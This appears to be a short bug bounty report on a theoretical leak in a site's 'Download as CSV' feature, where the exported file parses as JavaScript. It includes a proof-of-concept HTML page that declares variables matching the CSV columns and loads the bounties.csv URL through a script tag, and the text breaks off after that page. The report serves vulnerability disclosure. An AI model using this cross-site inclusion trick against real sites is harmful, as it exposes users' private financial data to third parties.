Information leakage via CSV when content is valid JavaScript

**Summary:** The function "**Download as CSV**" might leak information to 3rd domains. The exploitation seems unlikely and purely theoretical but it might work in some cases.

<!DOCTYPE html>
<html>
  <head>
    <meta charset='utf-8'/>
    <script>
        var report_id,report_title,program_name,total_amount,amount,bonus_amount,currency,awarded_at,status;
    </script>
  </head>
  <body>
    <script src='https://hackerone.com/settings/bounties.csv'></script>
  </body> …